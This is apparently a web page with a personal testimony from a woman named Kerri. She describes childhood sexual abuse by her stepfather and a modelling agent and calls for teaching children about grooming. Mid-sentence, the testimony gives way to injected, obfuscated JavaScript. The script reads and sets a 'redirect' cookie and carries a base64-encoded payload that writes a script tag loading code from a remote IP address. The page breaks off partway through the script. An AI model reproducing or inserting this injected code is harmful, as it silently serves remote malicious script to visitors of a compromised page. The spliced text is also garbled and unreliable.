082 – Kerri (Australia)

Hi my name is Kerri. I am 46 years old. I was sexually abused as a child. The damage it has done has been the hardest thing anyone should have to suffer. I have been through hell. So have my children, husband and the friends who have been strong enough to stay. I am in recovery now. I wish to go public for 2 main reasons. To turn the pain into something positive and to help others. It is a hard thing for people to understand, I get that now. This happens so people must face it. One of the hardest things for me has been no understanding of the suffering I go through. I feel if people knew what was happening to me they would help me. TV shows on current affairs dont want to air it. Why not? This happens. Children need to be educated about the dangers that could happen to them. WE teach stranger danger, fire drills, water safety, children need to know it mighten be a stranger, but mostly it’s not. For me it was my step father from ages 8 to 16 and a modelling agent from ages 11 to 13. The modelling industry can be used for the wrong reason. Girls are vulnerable when it comes to looks, weight. The man who hurt me groomed me well. They tell you all you want to hear. We must teach our children. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘